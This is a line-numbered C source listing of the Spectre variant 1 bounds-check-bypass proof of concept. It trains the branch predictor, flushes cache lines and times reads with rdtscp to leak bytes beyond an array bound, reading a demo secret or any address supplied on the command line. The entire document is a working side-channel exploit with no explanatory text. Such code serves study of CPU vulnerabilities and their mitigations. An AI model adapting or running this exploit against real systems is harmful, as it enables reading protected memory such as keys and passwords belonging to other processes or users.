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  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #ifdef _MSC_VER
  5. #include <intrin.h> /* for rdtscp and clflush */
  6. #pragma optimize("gt",on)
  7. #else
  8. #include <x86intrin.h> /* for rdtscp and clflush */
  9. #endif
  10. /********************************************************************
  11.  
  12. Victim code.
  13.  
  14. ********************************************************************/
  15. unsigned int array1_size = 16;
  16. uint8_t unused1[64];
  17. uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
  18. uint8_t unused2[64];
  19. uint8_t array2[256 * 512];
  20.  
  21. char *secret = "The Magic Words are Squeamish Ossifrage.";
  22.  
  23. uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
  24.  
  25. void victim_function(size_t x) {
  26. if (x < array1_size) {
  27. temp &= array2[array1[x] * 512];
  28. }
  29. }
  30.  
  31. /********************************************************************
  32.  
  33. Analysis code
  34.  
  35. ********************************************************************/
  36. #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
  37.  
  38. /* Report best guess in value[0] and runner-up in value[1] */
  39. void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  40. static int results[256];
  41. int tries, i, j, k, mix_i, junk = 0;
  42. size_t training_x, x;
  43. register uint64_t time1, time2;
  44. volatile uint8_t *addr;
  45. for (i = 0; i < 256; i++)
  46. results[i] = 0;
  47. for (tries = 999; tries > 0; tries--) {
  48.  
  49. /* Flush array2[256*(0..255)] from cache */
  50. for (i = 0; i < 256; i++)
  51. _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
  52.  
  53. /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
  54. training_x = tries % array1_size;
  55. for (j = 29; j >= 0; j--) {
  56. _mm_clflush(&array1_size);
  57. for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
  58.  
  59. /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  60. /* Avoid jumps in case those tip off the branch predictor */
  61. x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  62. x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
  63. x = training_x ^ (x & (malicious_x ^ training_x));
  64.  
  65. /* Call the victim! */
  66. victim_function(x);
  67. }
  68. /* Time reads. Order is lightly mixed up to prevent stride prediction */
  69. for (i = 0; i < 256; i++) {
  70. mix_i = ((i * 167) + 13) & 255;
  71. addr = &array2[mix_i * 512];
  72. time1 = __rdtscp(&junk); /* READ TIMER */
  73. junk = *addr; /* MEMORY ACCESS TO TIME */
  74. time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
  75. if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
  76. results[mix_i]++; /* cache hit - add +1 to score for this value */
  77. }
  78.  
  79. /* Locate highest & second-highest results results tallies in j/k */
  80. j = k = -1;
  81. for (i = 0; i < 256; i++) {
  82. if (j < 0 || results[i] >= results[j]) {
  83. k = j;
  84. j = i;
  85. } else if (k < 0 || results[i] >= results[k]) {
  86. k = i;
  87. }
  88. }
  89. if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  90. break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  91. }
  92. results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  93. value[0] = (uint8_t)j;
  94. score[0] = results[j];
  95. value[1] = (uint8_t)k;
  96. score[1] = results[k];
  97. }
  98.  
  99. int main(int argc, const char **argv) {
  100. size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
  101. int i, score[2], len=40;
  102. uint8_t value[2];
  103.  
  104. for (i = 0; i < sizeof(array2); i++)
  105. array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  106. if (argc == 3) {
  107. sscanf(argv[1], "%p", (void**)(&malicious_x));
  108. malicious_x -= (size_t)array1; /* Convert input value into a pointer */
  109. sscanf(argv[2], "%d", &len);
  110. }
  111.  
  112. printf("Reading %d bytes:\n", len);
  113. while (--len >= 0) {
  114. printf("Reading at malicious_x = %p... ", (void*)malicious_x);
  115. readMemoryByte(malicious_x++, value, score);
  116. printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
  117. printf("0x%02X=’%c’ score=%d ", value[0],
  118. (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
  119. if (score[1] > 0)
  120. printf("(second best: 0x%02X score=%d)", value[1], score[1]);
  121. printf("\n");
  122. }
  123. return (0);
  124. }
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